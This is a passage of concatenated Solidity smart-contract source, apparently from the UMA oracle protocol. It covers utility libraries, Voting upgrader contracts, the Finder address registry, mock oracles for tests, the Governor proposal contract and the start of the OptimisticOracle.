// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../oracle/implementation/Finder.sol";
import "../oracle/implementation/Constants.sol";
import "../oracle/implementation/Voting.sol";
/**
* @title A contract that executes a short series of upgrade calls that must be performed atomically as a part of the
* upgrade process for Voting.sol.
* @dev Note: the complete upgrade process requires more than just the transactions in this contract. These are only
* the ones that need to be performed atomically.
*/
contract VotingUpgrader {
// Existing governor is the only one who can initiate the upgrade.
address public governor;
// Existing Voting contract needs to be informed of the address of the new Voting contract.
Voting public existingVoting;
// New governor will be the new owner of the finder.
// Finder contract to push upgrades to.
Finder public finder;
// Addresses to upgrade.
address public newVoting;
// Address to call setMigrated on the old voting contract.
address public setMigratedAddress;
/**
* @notice Removes an address from the whitelist.
* @param _governor the Governor contract address.
* @param _existingVoting the current/existing Voting contract address.
* @param _newVoting the new Voting deployment address.
* @param _finder the Finder contract address.
* @param _setMigratedAddress the address to set migrated. This address will be able to continue making calls to
* old voting contract (used to claim rewards on others' behalf). Note: this address
* can always be changed by the voters.
*/
constructor(
address _governor,
address _existingVoting,
address _newVoting,
address _finder,
address _setMigratedAddress
) public {
governor = _governor;
existingVoting = Voting(_existingVoting);
newVoting = _newVoting;
finder = Finder(_finder);
setMigratedAddress = _setMigratedAddress;
}
/**
* @notice Performs the atomic portion of the upgrade process.
* @dev This method updates the Voting address in the finder, sets the old voting contract to migrated state, and
* returns ownership of the existing Voting contract and Finder back to the Governor.
*/
function upgrade() external {
require(msg.sender == governor, "Upgrade can only be initiated by the existing governor.");
// Change the addresses in the Finder.
finder.changeImplementationAddress(OracleInterfaces.Oracle, newVoting);
// Set the preset "migrated" address to allow this address to claim rewards on voters' behalf.
// This also effectively shuts down the existing voting contract so new votes cannot be triggered.
existingVoting.setMigrated(setMigratedAddress);
// Transfer back ownership of old voting contract and the finder to the governor.
existingVoting.transferOwnership(governor);
finder.transferOwnership(governor);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "../interfaces/FinderInterface.sol";
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples of interfaces with implementations that Finder locates are the Oracle and Store interfaces.
*/
contract Finder is FinderInterface, Ownable {
mapping(bytes32 => address) public interfacesImplemented;
event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress);
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 of the interface name that is either changed or registered.
* @param implementationAddress address of the implementation contract.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress)
external
override
onlyOwner
{
interfacesImplemented[interfaceName] = implementationAddress;
emit InterfaceImplementationChanged(interfaceName, implementationAddress);
}
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the defined interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view override returns (address) {
address implementationAddress = interfacesImplemented[interfaceName];
require(implementationAddress != address(0x0), "Implementation not found");
return implementationAddress;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../oracle/implementation/Finder.sol";
import "../oracle/implementation/Constants.sol";
import "../oracle/implementation/Voting.sol";
/**
* @title A contract to track a whitelist of addresses.
*/
contract Umip3Upgrader {
// Existing governor is the only one who can initiate the upgrade.
address public existingGovernor;
// Existing Voting contract needs to be informed of the address of the new Voting contract.
Voting public existingVoting;
// New governor will be the new owner of the finder.
address public newGovernor;
// Finder contract to push upgrades to.
Finder public finder;
// Addresses to upgrade.
address public voting;
address public identifierWhitelist;
address public store;
address public financialContractsAdmin;
address public registry;
constructor(
address _existingGovernor,
address _existingVoting,
address _finder,
address _voting,
address _identifierWhitelist,
address _store,
address _financialContractsAdmin,
address _registry,
address _newGovernor
) public {
existingGovernor = _existingGovernor;
existingVoting = Voting(_existingVoting);
finder = Finder(_finder);
voting = _voting;
identifierWhitelist = _identifierWhitelist;
store = _store;
financialContractsAdmin = _financialContractsAdmin;
registry = _registry;
newGovernor = _newGovernor;
}
function upgrade() external {
require(msg.sender == existingGovernor, "Upgrade can only be initiated by the existing governor.");
// Change the addresses in the Finder.
finder.changeImplementationAddress(OracleInterfaces.Oracle, voting);
finder.changeImplementationAddress(OracleInterfaces.IdentifierWhitelist, identifierWhitelist);
finder.changeImplementationAddress(OracleInterfaces.Store, store);
finder.changeImplementationAddress(OracleInterfaces.FinancialContractsAdmin, financialContractsAdmin);
finder.changeImplementationAddress(OracleInterfaces.Registry, registry);
// Transfer the ownership of the Finder to the new Governor now that all the addresses have been updated.
finder.transferOwnership(newGovernor);
// Inform the existing Voting contract of the address of the new Voting contract and transfer its
// ownership to the new governor to allow for any future changes to the migrated contract.
existingVoting.setMigrated(voting);
existingVoting.transferOwnership(newGovernor);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../implementation/Constants.sol";
// A mock oracle used for testing.
contract MockOracleAncillary is OracleAncillaryInterface, Testable {
// Represents an available price. Have to keep a separate bool to allow for price=0.
struct Price {
bool isAvailable;
int256 price;
// Time the verified price became available.
uint256 verifiedTime;
}
// The two structs below are used in an array and mapping to keep track of prices that have been requested but are
// not yet available.
struct QueryIndex {
bool isValid;
uint256 index;
}
// Represents a (identifier, time) point that has been queried.
struct QueryPoint {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
}
// Reference to the Finder.
FinderInterface private finder;
// Conceptually we want a (time, identifier) -> price map.
mapping(bytes32 => mapping(uint256 => mapping(bytes => Price))) private verifiedPrices;
// The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements.
// Can we generalize this data structure?
mapping(bytes32 => mapping(uint256 => mapping(bytes => QueryIndex))) private queryIndices;
QueryPoint[] private requestedPrices;
event PriceRequestAdded(address indexed requester, bytes32 indexed identifier, uint256 time, bytes ancillaryData);
event PushedPrice(
address indexed pusher,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
int256 price
);
constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
}
// Enqueues a request (if a request isn't already present) for the given (identifier, time) pair.
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public override {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
if (!lookup.isAvailable && !queryIndices[identifier][time][ancillaryData].isValid) {
// New query, enqueue it for review.
queryIndices[identifier][time][ancillaryData] = QueryIndex(true, requestedPrices.length);
requestedPrices.push(QueryPoint(identifier, time, ancillaryData));
emit PriceRequestAdded(msg.sender, identifier, time, ancillaryData);
}
}
// Pushes the verified price for a requested query.
function pushPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
int256 price
) external {
verifiedPrices[identifier][time][ancillaryData] = Price(true, price, getCurrentTime());
QueryIndex storage queryIndex = queryIndices[identifier][time][ancillaryData];
require(queryIndex.isValid, "Can't push prices that haven't been requested");
// Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with
// the contents of the last index (unless it is the last index).
uint256 indexToReplace = queryIndex.index;
delete queryIndices[identifier][time][ancillaryData];
uint256 lastIndex = requestedPrices.length - 1;
if (lastIndex != indexToReplace) {
QueryPoint storage queryToCopy = requestedPrices[lastIndex];
queryIndices[queryToCopy.identifier][queryToCopy.time][queryToCopy.ancillaryData].index = indexToReplace;
requestedPrices[indexToReplace] = queryToCopy;
}
emit PushedPrice(msg.sender, identifier, time, ancillaryData, price);
}
// Checks whether a price has been resolved.
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override returns (bool) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
return lookup.isAvailable;
}
// Gets a price that has already been resolved.
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override returns (int256) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
require(lookup.isAvailable);
return lookup.price;
}
// Gets the queries that still need verified prices.
function getPendingQueries() external view returns (QueryPoint[] memory) {
return requestedPrices;
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../implementation/Constants.sol";
// A mock oracle used for testing.
contract MockOracle is OracleInterface, Testable {
// Represents an available price. Have to keep a separate bool to allow for price=0.
struct Price {
bool isAvailable;
int256 price;
// Time the verified price became available.
uint256 verifiedTime;
}
// The two structs below are used in an array and mapping to keep track of prices that have been requested but are
// not yet available.
struct QueryIndex {
bool isValid;
uint256 index;
}
// Represents a (identifier, time) point that has been queried.
struct QueryPoint {
bytes32 identifier;
uint256 time;
}
// Reference to the Finder.
FinderInterface private finder;
// Conceptually we want a (time, identifier) -> price map.
mapping(bytes32 => mapping(uint256 => Price)) private verifiedPrices;
// The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements.
// Can we generalize this data structure?
mapping(bytes32 => mapping(uint256 => QueryIndex)) private queryIndices;
QueryPoint[] private requestedPrices;
constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
}
// Enqueues a request (if a request isn't already present) for the given (identifier, time) pair.
function requestPrice(bytes32 identifier, uint256 time) public override {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
if (!lookup.isAvailable && !queryIndices[identifier][time].isValid) {
// New query, enqueue it for review.
queryIndices[identifier][time] = QueryIndex(true, requestedPrices.length);
requestedPrices.push(QueryPoint(identifier, time));
}
}
// Pushes the verified price for a requested query.
function pushPrice(
bytes32 identifier,
uint256 time,
int256 price
) external {
verifiedPrices[identifier][time] = Price(true, price, getCurrentTime());
QueryIndex storage queryIndex = queryIndices[identifier][time];
require(queryIndex.isValid, "Can't push prices that haven't been requested");
// Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with
// the contents of the last index (unless it is the last index).
uint256 indexToReplace = queryIndex.index;
delete queryIndices[identifier][time];
uint256 lastIndex = requestedPrices.length - 1;
if (lastIndex != indexToReplace) {
QueryPoint storage queryToCopy = requestedPrices[lastIndex];
queryIndices[queryToCopy.identifier][queryToCopy.time].index = indexToReplace;
requestedPrices[indexToReplace] = queryToCopy;
}
}
// Checks whether a price has been resolved.
function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
return lookup.isAvailable;
}
// Gets a price that has already been resolved.
function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
require(lookup.isAvailable);
return lookup.price;
}
// Gets the queries that still need verified prices.
function getPendingQueries() external view returns (QueryPoint[] memory) {
return requestedPrices;
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/OracleInterface.sol";
import "./Constants.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title Takes proposals for certain governance actions and allows UMA token holders to vote on them.
*/
contract Governor is MultiRole, Testable {
using SafeMath for uint256;
using Address for address;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // Can set the proposer.
Proposer // Address that can make proposals.
}
struct Transaction {
address to;
uint256 value;
bytes data;
}
struct Proposal {
Transaction[] transactions;
uint256 requestTime;
}
FinderInterface private finder;
Proposal[] public proposals;
/****************************************
* EVENTS *
****************************************/
// Emitted when a new proposal is created.
event NewProposal(uint256 indexed id, Transaction[] transactions);
// Emitted when an existing proposal is executed.
event ProposalExecuted(uint256 indexed id, uint256 transactionIndex);
/**
* @notice Construct the Governor contract.
* @param _finderAddress keeps track of all contracts within the system based on their interfaceName.
* @param _startingId the initial proposal id that the contract will begin incrementing from.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _finderAddress,
uint256 _startingId,
address _timerAddress
) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createExclusiveRole(uint256(Roles.Proposer), uint256(Roles.Owner), msg.sender);
// Ensure the startingId is not set unreasonably high to avoid it being set such that new proposals overwrite
// other storage slots in the contract.
uint256 maxStartingId = 10**18;
require(_startingId <= maxStartingId, "Cannot set startingId larger than 10^18");
// This just sets the initial length of the array to the startingId since modifying length directly has been
// disallowed in solidity 0.6.
assembly {
sstore(proposals_slot, _startingId)
}
}
/****************************************
* PROPOSAL ACTIONS *
****************************************/
/**
* @notice Proposes a new governance action. Can only be called by the holder of the Proposer role.
* @param transactions list of transactions that are being proposed.
* @dev You can create the data portion of each transaction by doing the following:
* ```
* const truffleContractInstance = await TruffleContract.deployed()
* const data = truffleContractInstance.methods.methodToCall(arg1, arg2).encodeABI()
* ```
* Note: this method must be public because of a solidity limitation that
* disallows structs arrays to be passed to external functions.
*/
function propose(Transaction[] memory transactions) public onlyRoleHolder(uint256(Roles.Proposer)) {
uint256 id = proposals.length;
uint256 time = getCurrentTime();
// Note: doing all of this array manipulation manually is necessary because directly setting an array of
// structs in storage to an an array of structs in memory is currently not implemented in solidity :/.
// Add a zero-initialized element to the proposals array.
proposals.push();
// Initialize the new proposal.
Proposal storage proposal = proposals[id];
proposal.requestTime = time;
// Initialize the transaction array.
for (uint256 i = 0; i < transactions.length; i++) {
require(transactions[i].to != address(0), "The `to` address cannot be 0x0");
// If the transaction has any data with it the recipient must be a contract, not an EOA.
if (transactions[i].data.length > 0) {
require(transactions[i].to.isContract(), "EOA can't accept tx with data");
}
proposal.transactions.push(transactions[i]);
}
bytes32 identifier = _constructIdentifier(id);
// Request a vote on this proposal in the DVM.
OracleInterface oracle = _getOracle();
IdentifierWhitelistInterface supportedIdentifiers = _getIdentifierWhitelist();
supportedIdentifiers.addSupportedIdentifier(identifier);
oracle.requestPrice(identifier, time);
supportedIdentifiers.removeSupportedIdentifier(identifier);
emit NewProposal(id, transactions);
}
/**
* @notice Executes a proposed governance action that has been approved by voters.
* @dev This can be called by any address. Caller is expected to send enough ETH to execute payable transactions.
* @param id unique id for the executed proposal.
* @param transactionIndex unique transaction index for the executed proposal.
*/
function executeProposal(uint256 id, uint256 transactionIndex) external payable {
Proposal storage proposal = proposals[id];
int256 price = _getOracle().getPrice(_constructIdentifier(id), proposal.requestTime);
Transaction memory transaction = proposal.transactions[transactionIndex];
require(
transactionIndex == 0 || proposal.transactions[transactionIndex.sub(1)].to == address(0),
"Previous tx not yet executed"
);
require(transaction.to != address(0), "Tx already executed");
require(price != 0, "Proposal was rejected");
require(msg.value == transaction.value, "Must send exact amount of ETH");
// Delete the transaction before execution to avoid any potential re-entrancy issues.
delete proposal.transactions[transactionIndex];
require(_executeCall(transaction.to, transaction.value, transaction.data), "Tx execution failed");
emit ProposalExecuted(id, transactionIndex);
}
/****************************************
* GOVERNOR STATE GETTERS *
****************************************/
/**
* @notice Gets the total number of proposals (includes executed and non-executed).
* @return uint256 representing the current number of proposals.
*/
function numProposals() external view returns (uint256) {
return proposals.length;
}
/**
* @notice Gets the proposal data for a particular id.
* @dev after a proposal is executed, its data will be zeroed out, except for the request time.
* @param id uniquely identify the identity of the proposal.
* @return proposal struct containing transactions[] and requestTime.
*/
function getProposal(uint256 id) external view returns (Proposal memory) {
return proposals[id];
}
/****************************************
* PRIVATE GETTERS AND FUNCTIONS *
****************************************/
function _executeCall(
address to,
uint256 value,
bytes memory data
) private returns (bool) {
// Mostly copied from:
// solhint-disable-next-line max-line-length
// https://github.com/gnosis/safe-contracts/blob/59cfdaebcd8b87a0a32f87b50fead092c10d3a05/contracts/base/Executor.sol#L23-L31
// solhint-disable-next-line no-inline-assembly
bool success;
assembly {
let inputData := add(data, 0x20)
let inputDataSize := mload(data)
success := call(gas(), to, value, inputData, inputDataSize, 0, 0)
}
return success;
}
function _getOracle() private view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
// Returns a UTF-8 identifier representing a particular admin proposal.
// The identifier is of the form "Admin n", where n is the proposal id provided.
function _constructIdentifier(uint256 id) internal pure returns (bytes32) {
bytes32 bytesId = _uintToUtf8(id);
return _addPrefix(bytesId, "Admin ", 6);
}
// This method converts the integer `v` into a base-10, UTF-8 representation stored in a `bytes32` type.
// If the input cannot be represented by 32 base-10 digits, it returns only the highest 32 digits.
// This method is based off of this code: https://ethereum.stackexchange.com/a/6613/47801.
function _uintToUtf8(uint256 v) internal pure returns (bytes32) {
bytes32 ret;
if (v == 0) {
// Handle 0 case explicitly.
ret = "0";
} else {
// Constants.
uint256 bitsPerByte = 8;
uint256 base = 10; // Note: the output should be base-10. The below implementation will not work for bases > 10.
uint256 utf8NumberOffset = 48;
while (v > 0) {
// Downshift the entire bytes32 to allow the new digit to be added at the "front" of the bytes32, which
// translates to the beginning of the UTF-8 representation.
ret = ret >> bitsPerByte;
// Separate the last digit that remains in v by modding by the base of desired output representation.
uint256 leastSignificantDigit = v % base;
// Digits 0-9 are represented by 48-57 in UTF-8, so an offset must be added to create the character.
bytes32 utf8Digit = bytes32(leastSignificantDigit + utf8NumberOffset);
// The top byte of ret has already been cleared to make room for the new digit.
// Upshift by 31 bytes to put it in position, and OR it with ret to leave the other characters untouched.
ret |= utf8Digit << (31 * bitsPerByte);
// Divide v by the base to remove the digit that was just added.
v /= base;
}
}
return ret;
}
// This method takes two UTF-8 strings represented as bytes32 and outputs one as a prefixed by the other.
// `input` is the UTF-8 that should have the prefix prepended.
// `prefix` is the UTF-8 that should be prepended onto input.
// `prefixLength` is number of UTF-8 characters represented by `prefix`.
// Notes:
// 1. If the resulting UTF-8 is larger than 32 characters, then only the first 32 characters will be represented
// by the bytes32 output.
// 2. If `prefix` has more characters than `prefixLength`, the function will produce an invalid result.
function _addPrefix(
bytes32 input,
bytes32 prefix,
uint256 prefixLength
) internal pure returns (bytes32) {
// Downshift `input` to open space at the "front" of the bytes32
bytes32 shiftedInput = input >> (prefixLength * 8);
return shiftedInput | prefix;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../Governor.sol";
// GovernorTest exposes internal methods in the Governor for testing.
contract GovernorTest is Governor {
constructor(address _timerAddress) public Governor(address(0), 0, _timerAddress) {}
function addPrefix(
bytes32 input,
bytes32 prefix,
uint256 prefixLength
) external pure returns (bytes32) {
return _addPrefix(input, prefix, prefixLength);
}
function uintToUtf8(uint256 v) external pure returns (bytes32 ret) {
return _uintToUtf8(v);
}
function constructIdentifier(uint256 id) external pure returns (bytes32 identifier) {
return _constructIdentifier(id);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../interfaces/StoreInterface.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/OptimisticOracleInterface.sol";
import "./Constants.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/AddressWhitelist.sol";
/**
* @title Optimistic Requester.
* @notice Optional interface that requesters can implement to receive callbacks.
* @dev this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
interface OptimisticRequester {
/**
* @notice Callback for proposals.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
*/
function priceProposed(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external;
/**
* @notice Callback for disputes.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
* @param refund refund received in the case that refundOnDispute was enabled.
*/
function priceDisputed(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 refund
) external;
/**
* @notice Callback for settlement.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
* @param price price that was resolved by the escalation process.
*/
function priceSettled(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 price
) external;
}
/**
* @title Optimistic Oracle.
* @notice Pre-DVM escalation contract that allows faster settlement.
*/
contract OptimisticOracle is OptimisticOracleInterface, Testable, Lockable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
event RequestPrice(
address indexed requester,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
address currency,
uint256 reward,
uint256 finalFee
);
event ProposePrice(
address indexed requester,
address indexed proposer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 proposedPrice,
uint256 expirationTimestamp,
address currency
);
event DisputePrice(
address indexed requester,
address indexed proposer,
address indexed disputer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 proposedPrice
);
event Settle(
address indexed requester,
address indexed proposer,
address indexed disputer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 price,
uint256 payout
);
mapping(bytes32 => Request) public requests;
// Finder to provide addresses for DVM contracts.
FinderInterface public finder;
// Default liveness value for all price requests.
uint256 public defaultLiveness;
/**
* @notice Constructor.
* @param _liveness default liveness applied to each price request.
* @param _finderAddress finder to use to get addresses of DVM contracts.
* @param _timerAddress address of the timer contract. Should be 0x0 in prod.
*/
constructor(
uint256 _liveness,
address _finderAddress,
address _timerAddress
) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
_validateLiveness(_liveness);
defaultLiveness = _liveness;
}
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external override nonReentrant() returns (uint256 totalBond) {
require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Invalid, "requestPrice: Invalid");
require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier");
require(_getCollateralWhitelist().isOnWhitelist(address(currency)), "Unsupported currency");
require(timestamp <= getCurrentTime(), "Timestamp in future");
require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data");
uint256 finalFee = _getStore().computeFinalFee(address(currency)).rawValue;
requests[_getId(msg.sender, identifier, timestamp, ancillaryData)] = Request({
proposer: address(0),
disputer: address(0),
currency: currency,
settled: false,
refundOnDispute: false,
proposedPrice: 0,
resolvedPrice: 0,
expirationTime: 0,
reward: reward,
finalFee: finalFee,
bond: finalFee,
customLiveness: 0
});
if (reward > 0) {
currency.safeTransferFrom(msg.sender, address(this), reward);
}
emit RequestPrice(msg.sender, identifier, timestamp, ancillaryData, address(currency), reward, finalFee);
// This function returns the initial proposal bond for this request, which can be customized by calling
// setBond() with the same identifier and timestamp.
return finalFee.mul(2);
}
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 bond
) external override nonReentrant() returns (uint256 totalBond) {
require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested, "setBond: Requested");
Request storage request = _getRequest(msg.sender, identifier, timestamp, ancillaryData);
request.bond = bond;
// Total bond is the final fee + the newly set bond.
return bond.add(request.finalFee);
}
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() {
require(
getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested,
"setRefundOnDispute: Requested"
);
_getRequest(msg.sender, identifier, timestamp, ancillaryData).refundOnDispute = true;
}
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external override nonReentrant() {
require(
getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested,
"setCustomLiveness: Requested"
);
_validateLiveness(customLiveness);
_getRequest(msg.sender, identifier, timestamp, ancillaryData).customLiveness = customLiveness;
}
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public override nonReentrant() returns (uint256 totalBond) {
require(proposer != address(0), "proposer address must be non 0");
require(
getState(requester, identifier, timestamp, ancillaryData) == State.Requested,
"proposePriceFor: Requested"
);
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.proposer = proposer;
request.proposedPrice = proposedPrice;
// If a custom liveness has been set, use it instead of the default.
request.expirationTime = getCurrentTime().add(
request.customLiveness != 0 ? request.customLiveness : defaultLiveness
);
totalBond = request.bond.add(request.finalFee);
if (totalBond > 0) {
request.currency.safeTransferFrom(msg.sender, address(this), totalBond);
}
emit ProposePrice(
requester,
proposer,
identifier,
timestamp,
ancillaryData,
proposedPrice,
request.expirationTime,
address(request.currency)
);
// Callback.
if (address(requester).isContract())
try OptimisticRequester(requester).priceProposed(identifier, timestamp, ancillaryData) {} catch {}
}
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
